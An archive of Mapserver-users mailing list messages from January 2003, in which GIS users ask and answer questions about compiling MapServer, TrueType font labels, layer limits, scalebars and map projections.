> typed then the point changes location.
>
> Thanks,
>
> Don Becker
> Lubbock Emergency Communication District
------=_NextPart_000_000C_01C2B96D.B7663DA0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
> Hi fellow=20
listers! > > I've been =
looking for a=20
custom mapserver query that will all a user to key > in Lat/Long=20
coordinates in decimal degrees, and plot that point on a map. > =
Does=20
anyone know of an existing mapserver application that will do this? =
I >=20
haven't come across that functionality. I'm not looking for =
batch >=20
geocoding, but an interface where a pair of coordinates is typed into =
a >=20
dialog box resulting with that point on the map. If new =
coordinates=20
are > typed then the point changes location. > > Thanks, > > Don Becker > Lubbock Emergency =
Communication=20
District
------=_NextPart_000_000C_01C2B96D.B7663DA0--
From Antti.Roppola at brs.gov.au Sun Jan 12 15:35:26 2003
From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au)
Date: Mon, 13 Jan 2003 10:35:26 +1100
Subject: [Mapserver-users] Problems with zoomrectangle function
Message-ID: <3E4215C93D3CE24D84A9FF385DF88D871447EB@afeb-ms-02>
I had a glitch similar to this. Can't recall exactly what it was,
but it involved extent variables being left empty until I did
something to change the extent of the map. I solved it by making
sure the default extent was read into those variables.
Antti
Benjamin Wragg wrote:
> When I change my map extents so I'm zoomed in on the map (I can do
> this by using a tool which sets the extent coordinates manually),
> my tool starts to work. I can't figure out why? No errors are being
> generated at any of the times the zoom doesn't work.
From info at giswebsite.com Mon Jan 13 09:53:18 2003
From: info at giswebsite.com (Jonathan W. Lowe)
Date: Mon, 13 Jan 2003 09:53:18 -0800
Subject: [Mapserver-users] TrueType Font and Label Angle
In-Reply-To:
References:
Message-ID: <1042480398.3e22fd0eaaa17@webmail.lmi.net>
Larry,
For what it's worth, my installation on RedHat 8.0 didn't have the label angle
problems, so it is possible to successfully compile the software on Linux. At
one point in my efforts to overcome the label angle problems, I found a
reference that said the mere presence of freetype2 might force the compiler to
use freetype2 (the supposed culprit in the label angle problem) rather than
freetype1. Do you have root access to the system on which you are compiling? I
had to isolate libraries like gd and freetype in a local directory in order to
be sure my compilation used exactly the libraries I intended it to use.
Hope this helps. (I'm still dealing with the label angle problem on FreeBSD as
it turns out, so am hoping for more insight also.)
Jonathan
Quoting "Ellenbecker, Larry" :
> List,
>
> I'm trying to get true type fonts working with my application on Linux. The
> application is up a running on both Linux and NT. True type fonts are
> working just fine on NT, but on Linux I've had the following problems. My
> application is straight CGI.
>
> System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9
> and mapserver-3.6.1.
>
> After compiling and installing both freetype fonts and GD,
> I compiled mapsever and got the msGetLabelSize(): Could not find/open font.
> Initaially my application was sitting at:
>
> /var/www/html/simple with simple.map FONSET
> fonts/fonts.txt
>
> When I moved my fonts directory to /var/www/html/fonts and
> changed simple.map FONSET ../fonts/fonts.txt I was able to use true type
> font arial in my application. I then ran into the next issue with Label
> Angle. I couldn't get the labels to follow the appropriate line orientation
> as it does on my NT version. I researched the list and found Jonathan
> Lowe's "line layer label angle changes(solved)" . I've tried to follow
> these directions but am still unable to get the labels to plot with the
> correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND
> BACKGROUNDCOLOR create a background box oriented in the appropriate
> position but the text doesn't hit the background box.
>
> Has anyone got a sure fire method for resolving truetype
> label angle problems - I'd sure appreciate any assistance.
>
> Larry L. Ellenbecker
> GIS Systems Analyst
> Winnebago County
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
Jonathan W. Lowe
email - info at giswebsite.com
website - http://www.giswebsite.com
From gabriel at ciasc.gov.br Mon Jan 13 13:47:01 2003
From: gabriel at ciasc.gov.br (gabriel)
Date: Mon, 13 Jan 2003 18:47:01 -0300
Subject: [Mapserver-users] Error Status: 302
References:
Message-ID: <00df01c2bb4d$4e28ae40$12d713ac@ciasc.gov.br>
Somebody can give an aid to me on this error ?
Status: 302 Found Uri: /erro.html Location: /erro.html Content-type:
text/html
My MS is:
[mapserver at lnciasc01 cgi-bin]$ ./mapserv -v
MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7
INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
Thanks.
Ferrari, Gabriel
Florian?polis, SC, Brasil
From wzhang at c-cor.net Mon Jan 13 17:30:12 2003
From: wzhang at c-cor.net (Zhang, William)
Date: Mon, 13 Jan 2003 20:30:12 -0500
Subject: [Mapserver-users] column index in the dbf file
Message-ID: <68107A9AF023EA439FF7CC2AD02D8FE503A588@pltnpo1.c-cor.com>
Hi,
When we use ArcView, we can optimize the performance by opening the
attribute table of the shape file and creating index on the selected column.
Does MapServer have similar mechanism? If yes, could somebody tell me how to
turn on the index? If no, may I get some clues on how to add this function
in the C files? I already build shptrees and tileindexs. But I still like to
add indexes in the dbf files to improve the performance further.
Thanks,
William Zhang
Software Engineer
C-Cor.net
5673 Gibraltar Dr., Suite 100
Pleasanton, CA 94588
Phone: (925) 251-3019
Fax: (925) 467-0600
E-Mail: wzhang at c-cor.net
From Tom.Kralidis at CCRS.NRCan.gc.ca Mon Jan 13 19:23:08 2003
From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca)
Date: Mon, 13 Jan 2003 22:23:08 -0500
Subject: [Mapserver-users] changing scalebar on the fly
Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1AB5@s5-ccr-r1.ccrs.nrcan.gc.ca>
Hi,
Using MapServer CGI 3.5, my mapfile defines a scalebar as follows:
SCALEBAR
STATUS ON
INTERVALS 4
SIZE 200 2
STYLE 1
COLOR 255 255 255
OUTLINECOLOR 0 0 0
UNITS KILOMETERS
TRANSPARENT ON
LABEL
COLOR 255 255 255
SIZE SMALL
END
END
...for maps viewed in lat/long. My mapfile is geared towards a lat/long (or
EPSG 4326) application, and object defs are defined as such.
However, my when my app changes to LCC, I'd like the units of my scalebar to
be meters to accomodate this.
I tried passing this to the CGI with 'map_scalebar_units=meters', which
seems to have been recognized (units sign in output scalebar is 'm'), but it
appears as if all the text and interval drawings become drawn atop
eachother. Here's an example snapshot:
http://132.156.10.239/prototypes/owsview/cache/ms_scalebar_issue.png
Any ideas as to what's going on here?
Thanks alot
..Tom
=================================
Tom Kralidis
Systems Scientist
Canada Centre for Remote Sensing
Tel: (613) 947-1828
http://www.ccrs.nrcan.gc.ca/
=================================
From vaidas.velykis at klet.vest.lt Tue Jan 14 00:10:30 2003
From: vaidas.velykis at klet.vest.lt (Vaidas Velykis)
Date: Tue, 14 Jan 2003 10:10:30 +0200
Subject: [Mapserver-users] Too many layers
Message-ID: <002b01c2bba4$676d4440$9a0413ac@ittvaidas>
This is a multi-part message in MIME format.
------=_NextPart_000_0028_01C2BBB5.2AE7BC60
Content-Type: text/plain;
charset="iso-8859-4"
Content-Transfer-Encoding: quoted-printable
I`m sorry for my poor english:)
Mapserv returns such error line: msLoadMap(): Unknown identifier. Too =
many layers defined
I have map of electricity supply system, in wich are 3 basic elements: =
lines, pylons and substations. But all the electricity supply system I =
must graduated by regions: one layer - one basic element in that region. =
So, for one region I have 3 grouped layers. In map, user chooses, wich =
regions (grouped layers) he wants to see in map. There are ~42regions, =
that equals 126 layers.
How can I make my mapserv work?
In previuos posts I read about tileindex. But in my case, I think, that =
doesn`t work, because with tileindex user in map will see only 3 layers: =
lines, pylons and substations, and can`t choose any separate region. Or =
i`m I wrong?
Besides, I can`t compile map.h file (now MS_Maxlayers=3D100): when I =
compile map.h with MS_Maxlayers=3D400, mapserv returns the same error. =
What can be wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0028_01C2BBB5.2AE7BC60
Content-Type: text/html;
charset="iso-8859-4"
Content-Transfer-Encoding: quoted-printable
I`m sorry for my poor =
english:)
Mapserv returns such error line: msLoadMap(): Unknown identifier. Too =
many layers=20
defined
I have map of electricity supply =
system, in=20
wich are 3 basic elements: lines, pylons and substations. But all =
the=20
electricity supply system I must graduated by regions: one layer - one =
basic=20
element in that region. So, for one region I have 3 grouped layers. In =
map, user=20
chooses, wich regions (grouped layers) he wants to see in map. =
There are=20
~42regions, that equals 126 layers.
How can I make my mapserv =
work?
In previuos posts I read about =
tileindex. But in my=20
case, I think, that doesn`t work, because with tileindex user in map =
will see=20
only 3 layers: lines, pylons and substations, and =
can`t choose any=20
separate region. Or i`m I wrong?
Besides, I can`t compile map.h =
file (now=20
MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, =
mapserv returns=20
the same error. What can be wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0028_01C2BBB5.2AE7BC60--
From stepan.kafka at centrum.cz Tue Jan 14 01:08:01 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Tue, 14 Jan 2003 10:08:01 +0100
Subject: [Mapserver-users] Too many layers
In-Reply-To: <002b01c2bba4$676d4440$9a0413ac@ittvaidas>
Message-ID: <001301c2bbac$704982b0$7e3c2fc3@HSGIS>
This is a multi-part message in MIME format.
------=_NextPart_000_0014_01C2BBB4.D20DEAB0
Content-Type: text/plain;
charset="windows-1250"
Content-Transfer-Encoding: 8bit
Hi Vaidas,
with tileindex user can see all data across the all regions as seamless
dataset. It may be useful for you - or not? If you can choose only one
region and display it, you can do it by changing underlying dataset names
(or paths) on-fly using cgi variables, e.g.
map_yourlayer_data="/region2/pylons"
It requires probably more javascript in your page to switch the desired
region. But you will have only 3 layers in your mapfile.
(About compiling mapserver - We were successful with increasing the number
of layers as well as classes etc. I don't know, why it doesn't work.)
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
-----P?vodn? zpr?va-----
Od: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Vaidas Velykis
Odesl?no: 14. ledna 2003 9:11
Komu: mapserver-users at lists.gis.umn.edu
P?edm?t: [Mapserver-users] Too many layers
I`m sorry for my poor english:)
Mapserv returns such error line: msLoadMap(): Unknown identifier. Too many
layers defined
I have map of electricity supply system, in wich are 3 basic elements:
lines, pylons and substations. But all the electricity supply system I must
graduated by regions: one layer - one basic element in that region. So, for
one region I have 3 grouped layers. In map, user chooses, wich regions
(grouped layers) he wants to see in map. There are ~42regions, that equals
126 layers.
How can I make my mapserv work?
In previuos posts I read about tileindex. But in my case, I think, that
doesn`t work, because with tileindex user in map will see only 3 layers:
lines, pylons and substations, and can`t choose any separate region. Or i`m
I wrong?
Besides, I can`t compile map.h file (now MS_Maxlayers=100): when I compile
map.h with MS_Maxlayers=400, mapserv returns the same error. What can be
wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0014_01C2BBB4.D20DEAB0
Content-Type: text/html;
charset="windows-1250"
Content-Transfer-Encoding: quoted-printable
Hi=20
Vaidas,
=20
with tileindex user can see all data across the all regions as seamless =
dataset.=20
It may be useful for you - or not? If you can choose only one region and =
display=20
it, you can do it by changing underlying dataset names (or=20
paths) on-fly using cgi variables, e.g.
map_yourlayer_data=3D"/region2/pylons"
It=20
requires probably more javascript in your page to switch the desired=20
region. But you =
will have only=20
3 layers in your mapfile.
(About=20
compiling mapserver - We were successful with increasing the number of =
layers as=20
well as classes etc. I don't know, why it doesn't =
work.)
-----P=F9vodn=ED zpr=E1va----- Od:=20
mapserver-users-admin at lists.gis.umn.edu=20
[mailto:mapserver-users-admin at lists.gis.umn.edu]za u=9Eivatele =
Vaidas=20
Velykis Odesl=E1no: 14. ledna 2003 9:11 Komu:=20
mapserver-users at lists.gis.umn.edu P=F8edm=ECt: =
[Mapserver-users] Too=20
many layers
I`m sorry for my poor =
english:)
Mapserv returns such error line: =
msLoadMap(): Unknown identifier. Too =
many layers=20
defined
I have map of electricity supply =
system, in=20
wich are 3 basic elements: lines, pylons and substations. But all =
the=20
electricity supply system I must graduated by regions: one layer - one =
basic=20
element in that region. So, for one region I have 3 grouped layers. In =
map,=20
user chooses, wich regions (grouped layers) he wants to see in =
map. There=20
are ~42regions, that equals 126 layers.
How can I make my mapserv =
work?
In previuos posts I read about =
tileindex. But in=20
my case, I think, that doesn`t work, because with tileindex user in =
map will=20
see only 3 layers: lines, pylons and substations, and=20
can`t choose any separate region. Or i`m I =
wrong?
Besides, I can`t compile map.h =
file (now=20
MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, =
mapserv returns=20
the same error. What can be wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0014_01C2BBB4.D20DEAB0--
From vaidas.velykis at klet.vest.lt Tue Jan 14 02:38:27 2003
From: vaidas.velykis at klet.vest.lt (Vaidas Velykis)
Date: Tue, 14 Jan 2003 12:38:27 +0200
Subject: [Mapserver-users] Too many layers
References: <001301c2bbac$704982b0$7e3c2fc3@HSGIS>
Message-ID: <002501c2bbb9$12abad60$9a0413ac@ittvaidas>
This is a multi-part message in MIME format.
------=_NextPart_000_0022_01C2BBC9.D604E1E0
Content-Type: text/plain;
charset="windows-1250"
Content-Transfer-Encoding: quoted-printable
Thanks for soon answer and idea, how to split regions on the map.
But I still thinking, why I can`t increase MS_Maxlayers: then I try to =
increase MS_Maxlayers, nothing changes. When I decrease MS_Maxlayer to =
15, my smaller map (~20 layers) doesn`t work (same error - msLoadMap(): =
Unknown identifier. Too many layers defined). Compilation with increased =
MS_Maxlayer doesn`t give any errors... Maybe MS_Maxlayers depends on =
MS_Maxclasses, or on something else?
----- Original Message -----=20
From: Stepan Kafka=20
To: Vaidas Velykis ; mapserver-users at lists.gis.umn.edu=20
Sent: Tuesday, January 14, 2003 11:08 AM
Subject: RE: [Mapserver-users] Too many layers
Hi Vaidas,
with tileindex user can see all data across the all regions as =
seamless dataset. It may be useful for you - or not? If you can choose =
only one region and display it, you can do it by changing underlying =
dataset names (or paths) on-fly using cgi variables, e.g.
map_yourlayer_data=3D"/region2/pylons"
It requires probably more javascript in your page to switch the =
desired region. But you will have only 3 layers in your mapfile.=20
(About compiling mapserver - We were successful with increasing the =
number of layers as well as classes etc. I don't know, why it doesn't =
work.)
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz=20
-----P=F9vodn=ED zpr=E1va-----
Od: mapserver-users-admin at lists.gis.umn.edu =
[mailto:mapserver-users-admin at lists.gis.umn.edu]za u=9Eivatele Vaidas =
Velykis
Odesl=E1no: 14. ledna 2003 9:11
Komu: mapserver-users at lists.gis.umn.edu
P=F8edm=ECt: [Mapserver-users] Too many layers
I`m sorry for my poor english:)
Mapserv returns such error line: msLoadMap(): Unknown identifier. =
Too many layers defined
I have map of electricity supply system, in wich are 3 basic =
elements: lines, pylons and substations. But all the electricity supply =
system I must graduated by regions: one layer - one basic element in =
that region. So, for one region I have 3 grouped layers. In map, user =
chooses, wich regions (grouped layers) he wants to see in map. There are =
~42regions, that equals 126 layers.
How can I make my mapserv work?
In previuos posts I read about tileindex. But in my case, I think, =
that doesn`t work, because with tileindex user in map will see only 3 =
layers: lines, pylons and substations, and can`t choose any separate =
region. Or i`m I wrong?
Besides, I can`t compile map.h file (now MS_Maxlayers=3D100): when I =
compile map.h with MS_Maxlayers=3D400, mapserv returns the same error. =
What can be wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0022_01C2BBC9.D604E1E0
Content-Type: text/html;
charset="windows-1250"
Content-Transfer-Encoding: quoted-printable
Thanks for soon answer and idea, how to =
split=20
regions on the map.
But I still thinking, why I can`t =
increase=20
MS_Maxlayers: then I try to increase MS_Maxlayers, nothing changes. When =
I=20
decrease MS_Maxlayer to 15, my smaller map (~20 layers) doesn`t work =
(same error=20
- msLoadMap(): Unknown =
identifier. Too many=20
layers defined). Compilation with increased MS_Maxlayer doesn`t give any =
errors... Maybe MS_Maxlayers depends on MS_Maxclasses, or on something=20
else?
Subject: RE: [Mapserver-users] =
Too many=20
layers
Hi=20
Vaidas,
with tileindex user can see all data across the all =
regions as=20
seamless dataset. It may be useful for you - or not? If you can choose =
only=20
one region and display it, you can do it by changing underlying =
dataset=20
names (or paths) on-fly using cgi variables,=20
e.g.
map_yourlayer_data=3D"/region2/pylons"
It=20
requires probably more javascript in your page to switch the desired=20
region. But =
you will have=20
only 3 layers in your mapfile.
(About compiling mapserver - We were successful with =
increasing the=20
number of layers as well as classes etc. I don't know, why it doesn't=20
work.)
-----P=F9vodn=ED zpr=E1va----- Od:=20
mapserver-users-admin at lists.gis.umn.edu=20
[mailto:mapserver-users-admin at lists.gis.umn.edu]za =
u=9Eivatele Vaidas=20
Velykis Odesl=E1no: 14. ledna 2003 9:11 Komu:=20
mapserver-users at lists.gis.umn.edu P=F8edm=ECt: =
[Mapserver-users] Too=20
many layers
I`m sorry for my poor =
english:)
Mapserv returns such error line: =
msLoadMap(): Unknown identifier. =
Too many=20
layers defined
I have map of electricity =
supply system,=20
in wich are 3 basic elements: lines, pylons and substations. =
But all=20
the electricity supply system I must graduated by regions: one layer =
- one=20
basic element in that region. So, for one region I have 3 grouped =
layers. In=20
map, user chooses, wich regions (grouped layers) he wants to =
see in=20
map. There are ~42regions, that equals 126 layers.
How can I make my mapserv =
work?
In previuos posts I read about =
tileindex. But=20
in my case, I think, that doesn`t work, because with tileindex user =
in map=20
will see only 3 layers: lines, pylons and substations, and=20
can`t choose any separate region. Or i`m I =
wrong?
Besides, I can`t compile map.h =
file (now=20
MS_Maxlayers=3D100): when I compile map.h with MS_Maxlayers=3D400, =
mapserv=20
returns the same error. What can be wrong?
Thanks in advance,
Vaidas Velykis
Lithuania
------=_NextPart_000_0022_01C2BBC9.D604E1E0--
From nida at webstar.co.uk Tue Jan 14 02:42:00 2003
From: nida at webstar.co.uk (nida Khan)
Date: Tue, 14 Jan 2003 10:42:00 -0000
Subject: [Mapserver-users] plot a point on map
References: <8AE17DD6AA4FD51191CD0002A5511681074BDB@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <03bf01c2bbb9$91d08160$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_03BC_01C2BBB9.91736D40
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi ,
Thanks to Joost and Lowell I was able to plot the points on my map :).
now I have another issue, data I have is in eastings and northings...
Is there any formula that I can use to covert this data so I could plot =
it on my map??
Many Thanks
Nida Khan.
------=_NextPart_000_03BC_01C2BBB9.91736D40
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi ,
Thanks to Joost and Lowell I was able to plot the =
points on my=20
map :).
now I have another issue, data I have is in eastings =
and=20
northings...
Is there any formula that I can use to covert this =
data so I=20
could plot it on my map??
Many Thanks
Nida Khan.
------=_NextPart_000_03BC_01C2BBB9.91736D40--
From mpr at dpi.ufv.br Tue Jan 14 03:58:45 2003
From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis)
Date: Tue, 14 Jan 2003 09:58:45 -0200
Subject: [Mapserver-users] error compiling mapserver - ***shp2img
Message-ID: <5.1.0.14.0.20030114093418.00b4ee00@vicosa.dpi.ufv.br>
--=====================_2321077==_.ALT
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
Hi,
I am trying to compile nightly builds of mapserver on windows xp using=20
cygwin. This is the first time I try to build this application.
I am using the following options with the configuration script.
"./configure --with-gd=3D../gd-1.8.4 --with-proj=3D/usr/local"
proj-4.4.5
gd-1.8.4
freetype-1.3
When I run 'make' I get the following problem
gcc -02 - Wall=20
-DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H=20
-DUSE_WMS_SVR
-DUSE_GD_SWAP_XY -I/usr/src/projects/mapserver_dev/..gd-1.8.4=20
-I/usr/local/include shp2img.o -L -lmap=20
-L/usr/src/projects/mapserver_dev/../gd-1.8.4/.libs -lgd -L/lib -lpng=20
-L/lib -lz -L/lib -lXpm -lX11 -L/lib -lpng -L/lib -lz -L/lib -lXpm -lX11 -=
=20
L/usr/local/lib -lproj -lm -o shp2img
/usr/lib/gcc-lib/i686-pc-cygwin/3.2/../../../../i686-pc-cygwin/bin/ld:=20
cannot find -lX11
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
Any ideas?
Thanks,
Maur=EDcio
------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV
--=====================_2321077==_.ALT
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi,
I am trying to compile nightly builds of mapserver on windows xp using
cygwin. This is the firsttime I try to build this
application.
I am using the following options with the configuration
script.
"./configure --with-gd=3D../gd-1.8.4
--with-proj=3D/usr/local"
------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV
--=====================_2321077==_.ALT--
From Norman Tue Jan 14 04:43:28 2003
From: Norman (Norman)
Date: Tue, 14 Jan 2003 07:43:28 -0500
Subject: [Mapserver-users] error compiling mapserver - ***shp2img
References: <5.1.0.14.0.20030114093418.00b4ee00@vicosa.dpi.ufv.br>
Message-ID: <01da01c2bbca$8c909a30$cc36ba8c@sfdev3>
Maur?cio Pereira Reis writes:
> I am trying to compile nightly builds of mapserver on windows xp using
> cygwin. This is the first time I try to build this application.
> I am using the following options with the configuration script.
> "./configure --with-gd=../gd-1.8.4 --with-proj=/usr/local"
> When I run 'make' I get the following problem
> cannot find -lX11
> collect2: ld returned 1 exit status
> make: *** [shp2img] Error 1
> Any ideas?
try
"./configure --with-gd=../gd-1.8.4 --with-proj=/usr/local --with-xpm=no"
HTH
Norman
From lfilak at medinaco.org Tue Jan 14 05:09:17 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Tue, 14 Jan 2003 08:09:17 -0500
Subject: [Mapserver-users] plot a point on map
Message-ID: <200301141306.h0ED66R06859@yogi.medinaco.net>
Yes.
You can either use the projectionObj in Mapscript or a 'system' call to the 'cs2cs' command.
Both require that PROJ.4 is installed and projectionObj requires that MS was compiled with PROJ.4 support.
HTH
Lowell F.
The following message was sent by "nida Khan" on Tue, 14 Jan 2003 10:42:00 -0000.
> Hi ,
>
> Thanks to Joost and Lowell I was able to plot the points on my map :).
> now I have another issue, data I have is in eastings and northings...
>
> Is there any formula that I can use to covert this data so I could plot > it on my map??
>
>
> Many Thanks
> Nida Khan.
>
>
From calin at internetgids.be Tue Jan 14 08:24:37 2003
From: calin at internetgids.be (Calin D. NITU)
Date: Tue, 14 Jan 2003 17:24:37 +0100
Subject: [Mapserver-users] Working with TrueType Fonts
Message-ID: <020b01c2bbe9$6ea20080$0900a8c0@cpi.local>
I am trying to display a True Type font. My map file looks like:
map
extent 76952.80 189962.49 92359.36 202061.55
name "test 2"
shapepath "data"
size 600 450
status on
fontset 'font/fonts.txt'
units meters
........
........
LAYER
NAME roads_name_init
GROUP "roads"
DATA "roads"
MINSCALE 5000
STATUS ON
TYPE ANNOTATION
LABELCACHE ON
LABELITEM "NUMBER"
CLASS
LABEL
TYPE truetype
FONT fritqat
MINFEATURESIZE AUTO
MINDISTANCE 100
ANTIALIAS TRUE
COLOR 0 0 0
OUTLINECOLOR 220 220 220
SIZE 11
ANGLE AUTO
POSITION AUTO
OFFSET 0 2
buffer 2
END #LABEL
END #CLASS
END #LAYER ROADS-NAME
I created a directory called FONT under the directory where it is the
'*.map' file
Here I put all the TTF files and I created a list with the fonts - named
FONTS.TXT:
fritqat fritqat.ttf
fritqat-bold fritqtb0.ttf
fritqat-italic fritqti0.ttf
fritqat-bold-italic fritqtb2.ttf
The error that I get is
- "MapServer Error in msGetLabelSize(): Could not find/open font
in ....." - with PHP environment
- "msGetLabelSize(): TrueType Font error. Could not find/open
font" - with clasic HTML
We are using the stabile version of MAPSERVER 3.6.
Thank you,
Calin
From jmccue at geovue.com Tue Jan 14 09:21:45 2003
From: jmccue at geovue.com (John McCue)
Date: Tue, 14 Jan 2003 12:21:45 -0500
Subject: [Mapserver-users] Projections
Message-ID:
I am still trying to get a correct projection in MapServer. I have defined
a PROJECTION object in the MAP object to use an EPSG code:
PROJECTION
"init=epsg:26986" #Massachusetts Mainland State Plane, NAD83
END
I have also defined that same projection in each of my layers. My data is in
geographic coordinates (lon/lat).
My problem is that the image appears to be contracted from north to south.
- Are my projection specifications correct?
- Is this a different problem, maybe setting the image size?
Thanks for any help,
John
From ed at topozone.com Tue Jan 14 09:40:38 2003
From: ed at topozone.com (Ed McNierney)
Date: Tue, 14 Jan 2003 12:40:38 -0500
Subject: [Mapserver-users] Projections
Message-ID: <13858AA1A74F30419F319ACB66A9D122019590@mercator.topozone.com>
John -
The PROJECTION object at the top-level in your MAP file describes the desired projection of the output image. The PROJECTION object inside each LAYER object describes the source projection of the data for that layer. That's the only way MapServer knows whether the source data needs to be (re)projected when it's added to the output image.
If your data is in geographic coordinates, you need to have a PROJECTION block such as:
Projection
proj=latlong
ellps=GRS80
End
(assuming that's the correct ellipsoid) in the LAYER block. Otherwise MapServer will assume that the input is the same as the output projection and do nothing to project it.
There may also be an image size problem, but let's fix this one first!
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: John McCue [mailto:jmccue at geovue.com]
Sent: Tuesday, January 14, 2003 12:22 PM
To: Mapserver-Users
Subject: [Mapserver-users] Projections
I am still trying to get a correct projection in MapServer. I have defined
a PROJECTION object in the MAP object to use an EPSG code:
PROJECTION
"init=epsg:26986" #Massachusetts Mainland State Plane, NAD83
END
I have also defined that same projection in each of my layers. My data is in
geographic coordinates (lon/lat).
My problem is that the image appears to be contracted from north to south.
- Are my projection specifications correct?
- Is this a different problem, maybe setting the image size?
Thanks for any help,
John
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From collao_andres at hotmail.com Tue Jan 14 09:49:16 2003
From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=)
Date: Tue, 14 Jan 2003 17:49:16 +0000
Subject: [Mapserver-users] ogr and MapInfo
Message-ID:
I do not know as a file of MAPINFO with MAPSERVER can be used, is necessary
to transform it or to turn it to another one file or is necessary to use a
special commando of MAPSCRITP in the file .MAP
Atte.
---------------
Andr?s Collao.
---------------
Icq # 36107225
collao_andres at hotmail.com
acollao at inf.utfsm.cl
"El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona".
:-- Il peggior nemico del succeso ? la pauta del fallimiento
:-- El peor enemigo del ?xito es el miedo al fracaso
_________________________________________________________________
Charla con tus amigos en l?nea mediante MSN Messenger:
http://messenger.microsoft.com/es
From DOtt at PALATINE.IL.US Tue Jan 14 10:02:45 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Tue, 14 Jan 2003 12:02:45 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #43 - 19 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From ycnyon at pd.jaring.my Tue Jan 14 22:05:50 2003
From: ycnyon at pd.jaring.my (YC Nyon)
Date: Wed, 15 Jan 2003 14:05:50 +0800
Subject: [Mapserver-users] RE: Can't limit the zoom in/out
Message-ID: <001001c2bc5c$dea45540$5340baca@gis>
Hi,
I'm using PHP 4.1.2 and MS3.6. Everything works fine except i can't limit
the zoom in/out.
Tried setting it in the map file using the 'minscale' and 'maxscale'
keywords but no success.
The values is correct as i read them off the $GetScale = $map->scale;
Nyon
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003
From jmccue at geovue.com Tue Jan 14 10:14:24 2003
From: jmccue at geovue.com (John McCue)
Date: Tue, 14 Jan 2003 13:14:24 -0500
Subject: [Mapserver-users] Projections
In-Reply-To: <13858AA1A74F30419F319ACB66A9D122019590@mercator.topozone.com>
Message-ID:
Thanks Ed!
I didn't change my EXTENT in the map file to use Mass. State Plane
coordinates, so I was getting a blank image. Since my MAP projection
specified MA state plane, I could no longer use the lon/lat extents. A
major failing of the SHP file format is that the coordinate system that the
data was created in doesn't exist in the file. If the coordinate system was
there, people and software would have an easier time with issues like
converting data, and layers overlaying correctly.
Thanks again!
John
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Jan 14 10:38:13 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Tue, 14 Jan 2003 13:38:13 -0500
Subject: [Mapserver-users] Definition Projections, raw proj parameters vs EPSG code
Message-ID: <7CDD7B94357FD5119E800002A537C46E230599@s5-ccr-r1.ccrs.nrcan.gc.ca>
Hello,
I was wondering about the whole PROJ handling in MapServer. More precisely,
whether PROJ/MapServer does revers lookups on the EPSG list.
For instance, there is a fake EPSG code out there (cubewerx software users
will be familiar with this) that is EPSG:42304.
Now it turns out that that is the exact projection of our data.
So, when defining the projection of a layer in a MapFile used for WMS (or
WFS I guess), am I better off using the EPSG code, or a full definition ?
does it matter ?
In the case where the output projection is the same as the input, is there
an advantage to defining the layer using the EPSG code (MapServer is smart
